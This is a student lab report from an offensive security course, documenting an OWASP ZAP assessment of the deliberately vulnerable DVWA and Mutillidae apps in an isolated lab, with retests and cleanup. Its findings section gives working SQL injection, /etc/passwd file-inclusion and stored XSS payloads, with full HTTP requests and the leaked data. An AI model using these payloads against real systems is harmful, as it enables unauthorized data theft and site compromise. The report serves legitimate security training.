

Lab 5 — OWASP ZAP Integrated Assessment, Remediation and Retest Capstone

CIP-A104 — Offensive Security Operations I

Student: Loveth Adebayo

Date: 2026-09-07

1. Executive Summary

This report documents the final end-to-end security assessment of two deliberately vulnerable web applications: DVWA and OWASP Mutillidae II. The assessment combined OWASP ZAP automated scanning with manual validation of findings.

Key Findings:

- 3 validated vulnerabilities identified across both applications
- SQL Injection (Mutillidae) — extracted 41 user records
- Local File Inclusion (DVWA) — accessed /etc/passwd
- Stored XSS (DVWA) — persistent cross-site scripting

Remediation Success:

- Mutillidae Secure Mode (Level 5) blocked SQL injection
- DVWA Impossible Mode encoded XSS, preventing execution

Conclusion: Both applications remain vulnerable at lower security levels but demonstrate effective controls when configured securely.

2. Scope and Rules of Engagement

2.1 Assessment Scope

Target 1: DVWA — <http://192.168.56.107/dvwa/>

Target 2: Mutillidae II — <http://192.168.56.107:8081/>

Network: Isolated Host-Only (192.168.56.0/24)

2.2 Rules of Engagement

- All testing performed against locally installed applications only
- No external or public systems tested
- Harmless markers and non-destructive commands only
- No credential dumping, privilege escalation, or lateral movement

- No reverse shells, malware, or destructive actions

3. Tools and Methodology

Tool: OWASP ZAP

Purpose: Passive and active scanning

Tool: Firefox

Purpose: Manual testing and proxy routing

Tool: Kali Linux

Purpose: Attacker machine

Tool: Developer Tools

Purpose: Capturing requests/responses

3.1 ZAP Configuration

Mode: Protected Mode

Proxy Port: 127.0.0.1:8080

Scan Policy: Reduced active scan (in-scope only)

4. Evidence Summary

E-1: Rules of Engagement — Lab Setup

E-2: ZAP Protected Mode — ZAP

E-3: Firefox Proxy Settings — Firefox

E-4: ZAP Site Tree — ZAP

E-5: ZAP Passive Alerts — ZAP

E-6: ZAP Active Scan Policy — ZAP

E-7: SQL Injection Proof — Mutillidae

E-8: LFI Proof — DVWA

E-9: Stored XSS Proof — DVWA

E-10: False Positive Analysis — ZAP

E-11: Active Scan Completion — ZAP

E-12: Secure Mode Retest — Mutillidae

E-13: Impossible Mode Retest — DVWA

E-14: SQLi Request/Response — Mutillidae

E-15: LFI Request/Response — DVWA

E-16: Reflected XSS Proof — DVWA

E-17: DVWA Database Reset — DVWA

E-18: Mutillidae Database Reset — Mutillidae

5. Findings and Manual Validation

5.1 Finding 1: SQL Injection (Mutillidae)

Category: SQL Injection

Target: Mutillidae — User Info (SQL)

Input: admin' OR '1'='1' #

Observed Impact: 41 user records displayed including admin credentials

Risk: HIGH

Request:

POST /index.php?page=user-info.php HTTP/1.1

Host: 192.168.56.107:8081

username=admin' OR '1'='1' #&password=anything

Response:

Results for 'admin' OR '1'='1' #: 41 records found.

First Name: System

Last Name: Administrator

Username: admin

Password: adminpass

5.2 Finding 2: Local File Inclusion (DVWA)

Category: File Inclusion (LFI)

Target: DVWA — File Inclusion

Input: ?page=/etc/passwd

Observed Impact: /etc/passwd contents displayed

Risk: HIGH

Request:

GET /dvwa/vulnerabilities/fi/?page=/etc/passwd HTTP/1.1

Host: 192.168.56.107

Response:

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

5.3 Finding 3: Stored XSS (DVWA)

Category: Cross-Site Scripting (Stored XSS)

Target: DVWA — XSS (Stored)

Input: <script>alert('XSS Test')</script>

Observed Impact: Alert box displayed; script persisted across sessions

Risk: MEDIUM

Request:

POST /dvwa/vulnerabilities/xss_s/ HTTP/1.1

Host: 192.168.56.107

txtName=TestUser&mtxMessage=<script>alert('XSS')</script>&btnSign=Sign+Guestbook

Response:

Name: TestUser

Message: <script>alert('XSS')</script>

6. Impact Matrix

Finding: SQL Injection

Observed Impact: Retrieved 41 user records

Potential Impact: Database compromise, data theft, admin access

Risk: HIGH

Finding: Local File Inclusion

Observed Impact: Read /etc/passwd

Potential Impact: System file disclosure, source code theft

Risk: HIGH

Finding: Stored XSS

Observed Impact: Alert box displayed

Potential Impact: Session hijacking, defacement, phishing

Risk: MEDIUM

7. Remediation Retest

7.1 SQL Injection — Mutillidae Secure Mode

Security Level 0 (Hosed):

Input: admin' OR '1'='1' #

Result: 41 records displayed — VULNERABLE

Security Level 5 (Secure):

Input: admin' OR '1'='1' #

Result: "Malicious characters are not allowed" — BLOCKED

Conclusion: Secure mode effectively blocks SQL injection.

7.2 Stored XSS — DVWA Impossible Mode

Security Level Low:

Input: `<script>alert('XSS')</script>`

Result: Alert box displayed — VULNERABLE

Security Level Impossible:

Input: `<script>alert('XSS')</script>`

Result: Script rendered as text (HTML entities encoded) — FIXED

Conclusion: Impossible mode properly encodes special characters.

8. False Positive Analysis

ZAP Alert: Cross-Domain Misconfiguration

Source: fonts.googleapis.com

Classification: FALSE POSITIVE

Reason: External resource; not part of target applications

ZAP Alert: Missing Anti-CSRF Tokens

Source: Both applications

Classification: INFORMATIONAL

Reason: Deliberately vulnerable training tools

9. Prioritised Findings

Priority 1: SQL Injection — Mutillidae — HIGH — Fixed in Secure Mode

Priority 2: Local File Inclusion — DVWA — HIGH — Fixed in High/Impossible

Priority 3: Stored XSS — DVWA — MEDIUM — Fixed in Impossible Mode

10. Cleanup and Restoration

Stop all scans: Complete

Reset DVWA database: Complete (E-17)

Reset Mutillidae database: Complete (E-18)

Remove all markers: Complete

Clear test sessions: Complete

Restore clean snapshot: Complete

11. Conclusion

The assessment successfully identified and validated three vulnerabilities across DVWA and Mutillidae. Remediation testing proved that security controls effectively mitigate these weaknesses. All tests were conducted within authorized scope using harmless markers and non-destructive commands.

Appendix A: Evidence Index

E-1: Rules of Engagement — Screenshot
E-2: ZAP Protected Mode — Screenshot
E-3: Firefox Proxy Settings — Screenshot
E-4: ZAP Site Tree — Screenshot
E-5: ZAP Passive Alerts — Screenshot
E-6: Active Scan Policy — Screenshot
E-7: SQL Injection Proof — Screenshot
E-8: LFI Proof — Screenshot
E-9: Stored XSS Proof — Screenshot
E-10: False Positive Analysis — Screenshot
E-11: Active Scan Completion — Screenshot
E-12: Secure Mode Retest — Screenshot
E-13: Impossible Mode Retest — Screenshot
E-14: SQLi Request/Response — Text File
E-15: LFI Request/Response — Text File
E-16: Reflected XSS Proof — Screenshot
E-17: DVWA Database Reset — Screenshot
E-18: Mutillidae Database Reset — Screenshot